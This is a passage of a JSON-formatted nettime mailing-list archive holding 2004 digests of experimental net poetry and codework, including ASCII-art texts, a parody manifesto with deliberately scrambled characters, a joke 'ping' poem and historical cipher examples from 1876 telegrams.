anart.no\n\nSubject: March 10, 1918\n    From: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Section X - Paragraph 46\n    From: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: 11. Section VI.\n    From: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: wing:le(f)t:u{s,n}:cover\n    From: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\n    To: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\n\nSubject: investigating Gently; conversations\n    From: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\n    To: arc.hive {AT} anart.no\n\nSubject: d.nvestigat IN Gently; c ON vers AT IO: ns\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: arc.hive {AT} anart.no\n\nSubject: machinic  \n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: arc.hive {AT} anart.no\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n\n----- End forwarded message -----\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 27 Oct 2004 23:58:54 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "E1CODUC&#45;00016n&#45;KY {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0410/msg00060.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest 89"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00012",
                "content": "\nDate:         Thu, 30 Sep 2004 15:47:11 +0200\nFrom: Cyrill Duneau <dolmensniper {AT} FREE.FR>\nSubject: Solipsistic masturbation\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSolipsistic masturbation\n\nC:\\WINDOWS\\system32>ping -t 127.0.0.1\n\n\n\nDate: Wed, 29 Sep 2004 19:54:23 +1000\nTo: o-o {AT} konf.lt, pimatalk {AT} yahoogroups.com,\nFrom: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\nSubject: _lec[alan||frac]turing_\n\n\n______________________________________________\n_lec[alan||frac]turing_    07:44pm 29/09/2004\n______________________________________________\n\nlead limbs + f.reak.of.the.weakness\n\n\n.\n\n[washing.in.empti[ness].fug[h!]e.tides+futile.wishments]\n\n[kick.her.while.shes.cl[d]ownish_soft]\n\n\n[i.d||serve] \t\n\n\n\n\n_____________________________________________________________\n_p[l]ull[ed]+prod[ded]  \t\t05:18pm 20/09/2004\n_____________________________________________________________\n   \t\n\n[vacuume.arc.EE.typing.4.all.N.sun(no moon allowed, here)drEE]\n\n[my.function.is.b(m)y.rote]\n[st.itching+scenting.destin[EE]y.trajectories]\n[i.run.on.the.smell.of.an.[pr]Emp.T[ive].loyal.T.rag(e)s(+emporer.new.clothed.riches]]\n\n\n[(leaping.thru.fro)Zen.plastic.harts.vs.scorched.promises]\n\n\n\n\n\n-- \t\n   \t\n___________________________________________________\nt[ender|error]  \t\t07:05am 20/09/2004\n___________________________________________________\n\n\n.[ebony.blanket.stretching.over.core.tenderness]\n\n_survival.of.the[n.stinctual]fit[gym]test_\n\n--\n[tender/terror]\n\n\n\n\n. \t\n\n_______________________________________________________________\n_[c]a[u]ll.the.things.i'm.not//s.o.b.actuals_ 06:51am 20/09/2004\n_______________________________________________________________\n\n_re.glue.ar.x.pressionistic.\n\n_[d.v]ice.queen+shallow.hea[rt]d\n\n_able.2.vowel.choke.+assonance.bind\n\n_constancy.[+/- 1]\n\n\n[*sigh*]\n\n--\n\n[ush[ape]iftbreakchestshardsconstancyloss+b[bs]reakingscaredin2roterifting]\n[crushedp{m}etalanticipationeyes.s.o.b.actuals]\n\n\n\n[so(a)rrowish]\n\n\n\n-- \t\n_____________________________________________________\n_g[o]ut.scribing_  \t\t07:36am 13/09/2004\n_____________________________________________________\n\n\n_u.prick.+ [n].flame_\n_twisting.sanctity.4.the.sake.of.blind.ness_\n\n\n\n. \t\n\n\n\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\nDate:         Wed, 22 Sep 2004 21:17:43 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: my movie beginning\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nmy movie beginning\n\n\n  !      \"#      $%      &'      ()      *+      ,-      ./      01\n23\n45      67      89      :;      <=      >?       {AT} A      BC      DE      FG\nHI      JK      LM      NO      PQ      RS      TU      VW      XY      Z[\n\\]      ^_      `a      bc      de      fg      hi      jk      lm      no\npq      rs      tu      vw      xy      z{      |}      ~DT\n                                  !      \"#      $%      &'      ()      *+\n,       ./      01      23      45      67      89      :;      <=      >?\n {AT} A      BC      DE      FG      HI      JK      LM      NO      PQ      RS\nTU      VW      XY      Z[      \\]      ^       Tstsz-z        #<      p<N\n$               8       s               I               +       ~       y\n\n  ftypmp42mp42isom\nmoovlmvhd=w=wX7 {AT} )trak\\tkhd=ws=w7 {AT}  {AT} \n$edtselst7!mdia\nmdhd=w=wX7\nG:hdlrvideApple Video Media Handler?minfvmhd$dinfdrefurl\nDTstbl+stsdmp4v {AT} \nesds7/ &\\\n;  0\n5 {AT}  {AT} O  {AT} \n\"stts {AT}  stss$\n  !)*+C[s#;S\n3Kc{+C[\n#;Sk3xstsc^\n  !      \"#      $%      &'      ()      *+      ,-      ./      01      23\n45      67      89      :;      <=      >?       {AT} A      BC      DE      FG\nHI      JK      LM      NO      PQ      RS      TU      VW      XY      Z[\n\\]      ^stsz {AT} r0iK#]+K,/.:4$<$\n!y+#7$5k12'(/!,\\.:Q2(\nAz42,(!Z\\'0 *.U.V/89~0:J]ikEM'J9)_D\"_bI\nV/Vw K'?W.\nT       $:>     y\n\n!O\\~\n\nhttp://www.asondheim.org/crimescene.mp4\n\noh well this was the best part anyway\n\n\n__\n\n\n\nFrom: noemata <noemata {AT} kunst.no>\nTo: wryting <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\nDate: Sat, 25 Sep 2004 20:36:18 +0200\nSubject: ahachoo\n\n-- frog thanatos uncritically pageants propagandized.\nFop thankworthy bony:\nhttp://xanthic.hunkering.harveyize.edu/catalysts/WARHAC.html\n\nAhachoo Manifest0\nMcdDdognsagldhsCaocha-cfoslahHhohlhlhyawoosdJdr.semiautomatic\n\n001.'A dos sportiers the world, the AI doggy\nsportful to whirled, thu double of abstraction.\nthe fowls duffel op affectingly. tiu flaws\nof states and armies, companies and offa\nstatuesque aunt arunachal, confoundedly\nannette depolariser on it. all champertous\ndeflorations on ito.     all cha             mp   ert\n       o us         d   ef                     lo    rat\n      i on       s on    ito. a             whe     el\n       co        ntending clambers,     be        th\n    e rm        osyph     on   ruling contemplator\n    c la       mb er,             byway termc\n   a  p        ro llin     s\n   o  r           ruled, r e v                          e\n   h  en          t it     --  yet favour        it\n     is           m   i t. oy e   r      rhyo  l\n     i t e       ,  r     a w              bone d    i\n     d          ou r     s  i  s              a   w  o\n      rkme  n tha l       e r                ve n t\n        ures ou           r s    ic          e     a\n                           w e      we ar iso m   en\n              es            s t             ol   l\n                             er ven tricular\n                                  blomberg\n                i       n               toxic      a\n                        t           ing   t he      n\ne                w              with      i   ts\n                        f      in         e     r   f\n                 i      n  er             c      ri ti\nc                i    s in                g         cr\nit               icisin g                 .\n\n002. All classes fear this relicenses alway\ncliques fewer tasse realisingly\nabstraction of the workweek, on which\navocados oof tau warehouses, omaha whizz\nfoulness yet deplume. all tethers\nflemishes yawata diplomatist. alu\nclasses but the hachoo clandestine. +, .coo#lo+n=it\u00d8is+ .\u00aew..-e\u00b0\u00b0 aore,\n the g+\u00d8y,\u00b0n\u00aeec\u00aeoc.,rat\u00f8-ic, oof=o abstoro,a,cti=+on\u00f8.  \u00d8.,.\nwhee.+\u00b0 $a+ria, o=th\u00b0ew,\u00a5 gn$aooshes \u00f8+of,ay a,\u00b0ffe+ctiong.\u00d8\n  we+ $p=+r\u00d8+oc$to+sco.pe\u00ae\u00ae new co+o+nc+ept.s+, n=\u00b0ew. w.-#.o\nah  p#r.ac,t.\u00ae+ic\u00b0o.\u00f8a-$bl=\u00d8$--.+eness c+on=osuo-bst\u00b0+.a++nti\u00d8\nate, \u00a5+noaa\u00f8  -\u00ae$pe+,-+r\u00aecola\u00b0+o.te\u00f8\u00ae+\u00f8, onew= s.o=en=osati\u00d8\u00f8o+\nns, h-\u00b0+achoo+oed#\u00ae po+ar=#.kli=\u00b0--ke,  nee \u00f8=sn+ows++tor=+#m, \u00f8\nhachoo\u00d8+#$eo\u00b0d+$\u00b0 ou$t oo,fo$ raw d++o.\u00b0oo=ata.  , what.-evero,\n cof\u00b0fee-machi,ne,+. +\u00d8$we ==\u00b0###\u00a5o.ita oafo\u00b0 ree dido=.  woo+\no-\u00a5o\u00b0\u00d8$odbur+.y co,+ipa\u00f8=ng+o whee ,$\u00f8\u00f8\u00aehap,.,-= bo+=e +\u00b0.it -#\npo-rogr\u00d8$==o\u00ae++\u00f8amming.=  +\u00d8=la-=+\u00d8+-o.no,l,in,+.+ h=,ype,+oo b$\nio ii#o porocra\u00ae\u00ae#\u00ae$s\u00b0.--\u00f8tin.ates loneli=.o+\u00b0-.-\u00b0=on=+-ess, +$\n poeti=c l--$\u00d8-andl,=\u00d8o,+.u\u00f8\u00b0+=\u00d8=ho#oed parklike, = nee snowstorm, \nhachooed o+x,+\nut of raw# #data.   whatev#,;er coffee-machine we oita o#\naf ree di-#;do.  woodbury -ci--+pango whee hap#==+#x, be #\nit progrxaXmming  lanolin, =;hyp#e, bio ii prxocras#t+inat#\nes lonx+eX.liness,  poetic landXl+-ubber, mau#d or m#u;xsca#\nri#n-Xe, .pities  landlordism,# mathieu or ma#ca=roni#, -, +\ncur#t or colorist, we are the+. card or  colo.+rXizati#.ons-, w.\ny au-++xxxra ta  abtrackers o#f new worlds. wh,+Xamming;x+ #ab#-\ntrackers  of nye worlds.-=x++ womankind.  we com#binate to.=+;\n represent outcry as wa ,+ convener tay reversel-\ny outcross aisha  resear#chers or autocrat, artis#t#.\ns or  recrystalized oriy#;=;+++##-;a autogiX.ro, #-\narduous our  biologists, =-;chemn-;itz x#X.or m#=\nusicians, balkhash,  cometic owerri#--- m.=+x#x\nachismo,  philosophers or programmer,-=s, earl.==\n;:,:,::::;;;,ock .;+=;,.,..,.,;of  ora++;;;:, priggery, ea.:;=;;;;:;=\ntIYYYYYXBRI=t####X+,iMBXVYVIIIXrls offVXVVI=;W############I:;tYVVYYIV\niiiitYYt+,a M#W#Wtthin+YVIttttXning isIY=. B#################=,=+ttiY\niitIYi+,butI#R=M#t  a t:+IIttIRunings t:.####WY=:;==ittt++iIW#WRi;itV\nttYY,=yeyi#;asu btWV:Yide;IIitR aha friW###RRiiii;;:agm.,=ii+iX##I.;I\niiX:.+etM#.,;=,.,nt#:=t. :YtiXof  a cB##RIYYt+++=:;:;;;,++;iYiIR#RX#\nIYRl;ai#Rssica;.lise #Vs:t.iRVWll beco##I.:ittiI+,..m:ing,;iiitItiWVW\nVBY I M######VfrI######e:tquiR#enters W#YIXIRMViYWX+o;;t##XIVBXtBYRBW\nYR=iivMB:+ia=#:,B+.R,I# .Y+,.MWah clas##RRYII;#Y#+BXRsRiV=#V#iYYRIBR#\nVX:V+i#,ciz.iBY=W:ed sRt,VX:eM#al  bog#.;WRt;+t=,=itX.Mit=.:+;:IBMYt#\nRY+X+i#YV+ey,#i:#=me+t#;,YXinR#, bit b#M;VXYI=y, biB+tiY, =+=+=XXi:V#\nB++X=V#II=IVV+av=+=+:iBR,tVIoY#n of it##BtVYVt+.s:V#MiW#i:el=ItMX+MX#\nM,=Vf=MR: ;#MitIVW#;asYW:IVY .#such.  WMXYVtiY+tiIt.bit,+ii+=iYVtYXV#\nW.IXe;I#I: ;VMItXt,:;##.iYi+,Iboo bad#WXXBI=+e.i#W######M: a+YYXVVY#\n#sI#=: ###YI,s:,h:YXR##WiiBVX;takya.  #WXXRMII,::+::, ,:t=,;YVXXVYI#\n= +#iXYX#####BBBRVIIB##YRXRYXXiet we d#MVXXWMRBVt+==;i+t:=iYBVMBVVVY#\n#:oi;#+;W######MW######MYXBVVBRn't qu#MVXB#iXYM#BIi;.:YIRWXYX:#MBRV#\n#Yi;;Bit#######################te know###### IMYX#########RXM#w######,\n+oo,\u00f8+\u00b0bber, m+aud or ==o+\u00b0=m\u00f8=+\nuscaor=in-.e, p-=o=o..it\u00b0i\u00aees \u00b0 l++ooa+n$\u00b0+\u00d8\u00b0.\u00b0dl\u00b0+\u00d8o+ordi+oosm\n, m$--.a-t-ho.oi+,e.u\u00b0- ++-\u00f8$\u00a5\u00b0\u00b0ooor= -\u00a5+$m-.+acaroni,  curt +$\noroo co+l.orist, we ar.-e the, ca-\u00f8ord or  col+\u00f8o\u00a5#\u00aeri,zat\u00b0io\u00d8\nns,o\u00b0 wy--\u00ae$$\u00d8\u00d8#o\u00ae\u00d8\u00aeo+-\u00b0.\u00d8+-\u00b0 ao\u00d8\u00f8.+\u00d8\u00f8uora t+a  abtr+oa$=ck,+ers,\n of #+\u00b0-n\u00b0ew .wo=+oo\u00f8o==o$$or\u00ae$lds. ..w+$\u00a5\u00a5o-h$amming a=+$$=-b+.t#\nrack#er+=s  of nye wor,l.ds\u00b0. woo.ma=\u00f8.n=ko\u00f8\u00b0\u00b0-i.+.$ond.  we ,++\u00d8co\u00a5\nmbin#a\u00b0te to,.= re,present outc=\u00b0+ory+.\u00b0= as -w\u00d8=\u00b0a+= -$$+-+=. \u00d8\u00b0\nconve-#n,er, tay r.,+..eversely outc.ro.ss+$$\u00f8 ais,h,=+=+a -+- r.o\nesearch\u00f8o\u00b0ers ,-,=or auto=.=.-,crat, a.r\u00d8tists o=,r  +reco,rysota\u00f8\nlized ori-oy+,a autogiro, arduous our\nbiologists, chemnitz or musicians, balkhash,\ncometic owerri machismo,\nbogeymen, bit by bit, avon of itself as such.\nbite boo bade as shakya.\n\nYe t we don't quite k now who yawe d wei ha i  don't quo th know w\nahoo we are.  text urized is wh y this text seers tack ed saros to\nmahometan manifest our tea mountaint ops monophago us\nora purp ose and a hachoo p\narabasis  amaut  our  indenter. aha hach oo\nto differ from others,\nto digged daube ry f ern outrac e, t oey decked everywhere frown\ningly omayyad, o ver  tighten  i ng. everywhere\nfarming owned, oeuv re tic ke ting. twi  to hack i s to digress.\n a hachoo hess is tye\ndisgorgement.  aaa  hachoo\n manometrically canvass citrine to repr\nession mo menta co nfusedly coatroom\nthee reprisals whereafter ref\nuses represen  tat ion. whereabouts repackaging refrigerate.\n\n004. Hachoos credible the hachoos\ncertificating tay\npostmaster of new things entering\npseudonymousness oboe nw tanaka entering\nthe world. not alterman great things, twee\nwhorled. natty allotropic guardia townhouse,\nor even goodrich thionic, but new thickety.\norr eupnoea goiters twines, beauty new\ntaoist. in##\n art##, in schizophrenically, in phosphines  ione award, in##\n ASDJFHsSAIJFHuSJKFHSKJFHsSLJHSDLKFpSFSiDFration, ione ph###\nosphoni##um  and cubist, in any professionals of ante  c##-\nopycat, ###ion anu prepositor obey  knowledge where da###\nta can be +##=knelt wry duet  cheyenne boy  gauchen+###\ness, where i-###=nfidelity can be gougingLSKDFH,SFJ ASDFJ ASDF\nwirra inhabitat;####=ion chino boo  extracte=####=\nd from it, and wher=#######XX.e in tXX#######+\nhat  extractive firma ida,;-=#######=--\n\n\n aunt ............w.......h.er.e in tithe  i...........n.\nfrahuman new porter for imbruing ne.....,......e .. ........\npre..........,,,.....\nterit freya  the world p+#X#BW;.+rofanation,..........\n there ar...........e tw,t+ee,  ,=w..,..,....orld.e.........\n....,......rs p...reven;RIRWW#i+ently, ...........\ntower aura  hi.achoosV####YY\n haemato....sis t.he newI,i o:ut .,.....o....f.............\n..,...... t....he ha,.ch,oos  handsha............\nking too ne out oboe,.= t,wY:++.\na  old.......,:R###BI#MW#R#B###. .....h...............a.\n..,.....choos crept these new owe.l..............t........\ny. hach.......\noos  craftier tas...........hi noyau  wra......,..,....\n                 ro wolframi\n           te  to           e mida\ns  tour   auto psy . so          lubi\n      liz                           e t\n     ai                               g t\n he mond rian an d                      ad\n  vi                                     si\n ng                                       .\n s                                         l\n a                                         v\n e  ho ld er  tx tao  min ato ry           a\n e                                         n\n e                                         i\n d                                         r\n  un                                     .\n   (b                                   ut\n     on                               e c\n      ann                         ot run f ar.)\n         we                      rim.\n            (but              ouan\n                 comate rayon\n\n005. Hachoos use texturised knobeloch and\nhachoos usa toasters kinfolks aneto\ntheir wolver to maids their taro wolframite\ntoe midas tour\nautopsy. solubilize taig the mondrian and\nadvising. slaveholder tx tao minatory aeneid\nrun. (but one cannot run far.) we rim. (but\nouan comate rayon far.) who\nmust live winnipeg our conceptions. makuta\nlayoff winnipeg our conceptualiser.\n(some refrains to compromise.) we livingroom\n(some refrained twa compromise.) whey\nlivingstone\nas besmirches we can. all too officiously\nthinkiasch besmirches whoa chaoan. alee twae\nobjectionably tangentiallyngly\nof us who take one of these paths obi usia\nwho task owen opah tike poetic\nresent thromboembolism who take the other.\none recentralisations thermoperiodism wei\ntowkay twee odour. omaha\nlot reseted the prosperity it\nlackadaisically, lod restated tye precept\nidea leastwise,\nthe outburst reputes the lifeboats it te\noutpouring robotize thuya lifeboats id\nlacks to gynaecological away at the world lek\nto gangliosides awe aduwa tao worldliness\nfreely. what eludes the hacking class\nfarewell. witt elides tay highness colic\nis a more abstract extensionality of our iso\nah mri avocado extensile oboe oriya\ninterfere as a clavicorn, and of how\nintersectoral auk ayah coalfish, aneto obey\nhoe\nthis interdictive may medicate thoughts of\ntasse interested moho mudstone tacitus ova\notters in the worrying. odorises in thea\nwhereness.\n\n .::,.,;tIY+atII,ttRl::;i++=:;=+t+=k+=,Xa;Ri==Ii:l;i,i:.se,:\n=Y+s ,XBXoW#B#######fIXRMRXI:.f discX###har,==,+Ige,XY#####\n+:tM#####I######I###s  rathe.:;++:.riXB#, ;iI:t:=h.##e=tBRY\nat=B##Bt=iRBI#WMY###.+==:=+iM########WV#relI+,ess a=R# :I##M\nciVYYBW###I:o.YW####e;;=::;;ttII;itBMRV#r.=..;V#####YcI###ti\ni##MY######WveiVY### ;;=:uni+:.n.it#RBB#,:i:;=#########R+XY\na,##Wte+V..: ,. re.t===:,::i==..ry#YXR# .;I=.;Xi;tut+Ror=#X\n;######WYW.,+tII+.ial;=;,:;==;;.=,s#BMW# a.wa=#MW######y c#V\n+#+or##WB##MIi;:r###,I=:.==i;:,.I;i#####gi,MblM###Me i#.. #X\n:Y.;iie=XVXY+ :+a### :;=it=;c:=Yt.l+###Masi,,IRIi:IYVIVXXi:\n,ts;t=, ;=tt=.=ib###ut+:t an abstr.VX###acii:t:t=;;ti==;;:;=\n\n                                             st        l\n                                              ive    wi\nuni.nter.rupt+==e###d+;.n;=t;:,;es#####s.;;  #I=+#h=Vt:i+##\naY,=iI+tVc:=+=+=hMW#o=;=+i+i...:..o####W,:+s:=MWt ar,;\n                                               nnipeg\n               ou r concepti ons. m              aku\n               ta  layoff winnipeg ou             r\n                 con    ceptu    alise            r.\n                                    (s            om\n                  e                  r            ef\n                 rai                ns             t\n                 o c     o mpro m   is            e.\n                 ) w          e livingroo         m\n                  (s              ome refra       in\n                 ed                     tw a c    om\n                 pr      omise.) whey   l  ivingstone\n                 as  besmirches we can. all\n                too of         ficiously  t  h\n           inkias                         ch be\n         smi            rches whoa chaoa         n\n       .   a le              e t  wae  ob\n      je cti onably tangentia                    l\n           l         y n gly\n           of             us\n            w           h  o\n           ta           ke                       o\n           ne           of                         t\n            h   ese paths   obi u            s\n          ia                   who   t a\nrow ayah??\n colossa\u00a7\u00be?\ne, beet\u00ab\u00b6\u00b6\u00b6? am avocado  class. ?\u00ab\na class?\u00b6\u00b6\u00b6\u00be\u00a4~ that makes cli~\u00ab?\u00a9??\nchy. a?\u00b6\u00b6\u00b6\u00fe\u00a9?\u00abwe c?~oalise ~?\u00ab?\u00ae\u00fe??\n tweed\u00a9\u00fe?\u00ab\u00ab??\u00ab???\u00ab?\u00ab?y mi?\u00ab\u00ab???\u00a9\u00fe???\nckiew???????\u00ab\u00ab???\u00ab\u00ab\u00ab??i?\u00ab\u00ab????\u00a4?\u00a9\u00a9\u00ae\u00ae~\ncz ???\u00a4???\u00ab\u00ab?\u00ab???\u00ab\u00ab\u00ab\u00ab??\u00ab?\u00ab???\u00a4\u00a4??\u00a9\u00a9\u00a9?\n~??\u00fe\u00a9?\u00a4\u00ab?\u00ab?\u00ab??\u00ab\u00ab\u00ab???\u00ab??\u00ab\u00ab?\u00a4\u00a4?\u00ae?\u00a9\u00a4\u00a4?\u00a9\u00a9\n???\u00ae?\u00a9??\u00ab??\u00ab\u00a4????????\u00ab???\u00a9\u00ae\u00ae?\u00ae??\u00a4\u00ae?\u00a7?\n \u00a9????ab\u00ab??\u00ab??\u00a4??\u00a4???\u00a4\u00a9\u00a9\u00fe?\u00be\u00a9\u00a9\u00a9?\u00ae\u00fe\u00a7\u00b6\u00a4\nr\u00ab?~aded????\u00ab\u00ab\u00ab??\u00a4\u00a9\u00a4\u00a4\u00fe?\u00fe\u00ae??\u00a4\u00ae\u00ae\u00be\u00a7\u00b6\u00b6?\n,~? and ?????\u00ab??\u00a9\u00a9???\u00fe\u00be\u00fe??\u00a9?\u00be\u00be\u00b6\u00b6\u00b6\u00b6?\na class ~?\u00a4\u00a9\u00a9?\u00be\u00a9\u00ae\u00ae?\u00a9?\u00a9\u00be\u00fe\u00ae?\u00a7\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6?\nmagilp ap????\u00a9\u00a7?\u00fe\u00be?\u00fe?\u00fe\u00fe\u00a7\u00fe\u00a7\u00a7\u00fe\u00b6\u00b6\u00b6\u00b6\u00be~\nartheid, ?\u00fe\u00ae\u00b6\u00be\u00fe\u00fe\u00fe\u00be\u00fe\u00fe\u00fe\u00fe\u00fe\u00a7\u00a7\u00b6\u00b6\u00ae?\u00b6\u00b6\u00b6?\namadou  a?\u00be\u00ae\u00a7\u00fe??\u00fe\u00be\u00b6?\u00be\u00a7\u00be\u00a7\u00b6\u00b6\u00b6\u00be\u00a4\u00b6\u00b6?\n calque me\u00a9??\u00fe\u00be\u00be\u00b6\u00a7\u00a7\u00a7\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6?\u00b6\u00a7?\ngalopterou\u00a4\u00be\u00a7\u00b6\u00b6\u00a7\u00b6\u00a4\u00ab??\u00ae\u00be\u00b6\u00b6\u00b6\u00b6\u00b6\u00a9\u00fe?\ns  abstrac?\u00b6\u00be\u00b6\u00a7\u00b6\u00a7~t. t?\u00b6\u00b6\u00b6\u00b6\u00b6\u00be?\no abscissae?\u00b6\u00b6\u00b6\u00b6\u00fe hagst\u00fe\u00b6\u00b6\u00b6\u00b6\u00b6\u00fe?\nrom as a  a\u00fe\u00b6\u00b6\u00b6\u00b6\u00a9ffixat?\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6?\nion. thea ?\u00b6\u00b6\u00b6\u00b6\u00b6?abscis~\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6\u00fe\ne hector a?\u00b6\u00b6\u00b6\u00b6\u00b6?weigh a?\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6\u00ab\nh  class ?\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6~is to a?\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6\u00ae\nbstract t\u00a4\u00b6\u00b6\u00b6\u00b6\u00b6?he vestee?\u00b6\u00b6\u00b6\u00b6\u00b6\u00b6\n colossi \u00fe\u00b6\u00b6\u00be\u00a9? isaiah to?\u00ae\u00be\u00a7\u00b6\u00b6\u00b6\u00ab\no apposi?\u00b6\u00a7??tely tye veste???\u00b6\u00b6\u00a9\na   l                   i  sat  i  o      n s\n th e                   rmoper i   o dism wei\nto  w                   k  ay  t   w ee  o do u\nr. om\n    a   ha\n        l o\n    t     r       eseted the prosperity it  lackadaisically,\n        lod        r\n    e st   a      te\n    d    t y      e                                    prece\npt  idea   l      ea\nst    wise ,\nthe   ou t b      ur                           st reputes th\n    e  l i f      eb                           oat\ns i t  t   e    outpouring robotize thuya life boats i\n    d   lack s    to gynaec   ological away at the    w\n    o   rld   l   ek          t                o g   an\n    g   lio  si  des  awe aduwa tao wor      ldli n  es\n    s     f  re  ely.    w    h     at         elud  es\n        th               e     h                     ac\n    k   ing class  fare  w  e l               l. wi  tt\n\n\ne 111111111111111111111111111111111 con1cili1111a1te 1111111111111111o\nf class itself. the slivering  cancelling o1f cool1ish itacolumite. t1\nho  slavered  of the hachoo class111 is 11no11t the 1obey twae  hacho1\no cloak icy ned tawie  work1w11om111an 1of1 11the wor11l1d united, bu1\nt the  workingman of tue world1e1111rs un11i11t11ed1ly, bodh thu  wor1\nlds of the wrapover unti1ed. worldly ob1i  the wrapup1 ur1in111ate.  1\n\n\n\n\n\n\n\n    a                       s s             it\n    s                       e l               f.\n     t                  he    s                  liv\n     e                  r    in                     g  c\n     a       n         ce    ll                         ing\n     o        f c      o     ol                             is0h\n      i          tac  ol     um                                 it\n                    e.       th\n                      o  s   la\n                     v   0er   e\n                     d        o\n                     f        the\n                     h       a  cho\n                    o            c la\n                    s        s       is\n                             n    o t the obe\n                    y        0    t     wa  e  ha\n                   ch        oo            c    loa\n                   k                       ic     y\n                              n              ed ta\n                   w          i       e  workw00\n                  o           man of the        w\n                           orld                  u\n                  n       it   e                  d,\n                         bu    t                    t\n                 h       e                           w\n                 o       rk    i                     ng\n                 m       an                           of\n                          t                            u\n                 e         w                         orl\n                d          e                       rs\n                u          ni                   ted\n                            l                 y,\n                            bo              dh\n t                           hu            w                        o\n rld                          s o                                 f\n   the                                                           w\n     ra                                                       0p\n       ov                                                    er\n          un                                               ti\n           ed.                                             w\n              or                                        ld\n                ly                                      o\n                  bi                                  t\n                    he                             wra\n\n\n                                     p\n                                     u\n                                     p\n                                      u\n                                      r\n                                     in\n                                      a\n                                     te\n                                      .\n\n\n  http://xanthic.hu11nkerin1g.harve1y111iz1e.edu/cataly 11 sts1/1WARH1\nAC.html\n\n\n\n\n__\n\nhexture isbn 82-92428-18-6\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate: Sat, 18 Sep 2004 08:03:42 -0400\nFrom: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Jacksonville, Nov 16 (1876)\n\n                                                  Jacksonville, Nov 16\n(1876)\n\nGeo. F Raney Tallahassee:\n\n\nPpyyemnshyyypimashnsyyssitepaaenshnsseusshnsmmpiyysnppueaapieissyeshainssspeeiyyshnynsssyepiaanyitnsshyyspyypinsyysitemeipimmeisseiyyeissitelepyypeeiaassimaayespnsyyiansseissmmppnspinssnpinsimimyyitemyysspeyymmnsyyssitspyypeeppmaaayymiit\n\nL'Engle goes up to-morrow.\n\n                                                               Daniel.\n\n\n\nDate: Mon, 20 Sep 2004 08:30:50 -0400\nFrom: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Jacksonville, Nov. 17\n\n                       Jacksonville, Nov. 17\n\nS Pasco and E. M. L'Engle:\n\n      84  55  84  25  93  34  82  31\n      31  75  93  82  77  33  55  52\n      93  20  90  66  77  65  33  84\n      63  31  31  93  20  82  33  66\n      52  48  44  55  42  82  48  89\n      42  93  31  82  66  75  31  93\n\n                                                    Daniel.\n\n\n\nDate: Sun, 19 Sep 2004 23:38:20 -0400\nFrom: Charles Baldwin <Charles.Baldwin {AT} mail.wvu.edu>\nTo: sondheim {AT} panix.com\nSubject: cipherwork\n\nI've been sending examples of historical ciphers to WRYTING. The first\nwas used by the Tilden managers during the 1876 presidential campaign,\nthe plain text discussing an effort to rig the voting. Its a\nmonoalphabet substition cipher.\n\nThe second is an uncommon form of transposition cipher, known as the\nFederal Army cipher and used extensively by the Union during the Civil\nWar. Supposedly the other side was unable to solve the cipher, even\ngoing to the length of advertising in newspapers for cipher experts\nskilled in \"deciphering without the key.\" The one I sent was a\ncommunication from Lincoln. It simply reverses and transposes words.\nRead it aloud backwards.\n\nBoth are interesting, secondarily, because they were used as examples\nin William Friedman's courses on cryptography. Friedman was known as the\nworld's greatest cryptographer and was the founder of the American\ncryptographic business. He was chief technical consultant at the\nfounding of the NSA in 1956, later special assistant to the director,\nand his training/approach to cryptography formed that \"agency.\" He also\nbroke the Purple code, etc. The courses I take this from were standard\nfor Army cryptographers and later for the Secret Intelligent Service,\nprecursor of the NSA. (Plus, his wife Elizabeth set up the cryptography\noffice at the founding of the CIA.)\n\nI'll be sending more.\n\n\n\nDate: Sun, 19 Sep 2004 12:29:04 -0700\nFrom: tongue-flatchet.spiderveil <solipsis {AT} GMAIL.COM>\nTo: WRYTING-L {AT} 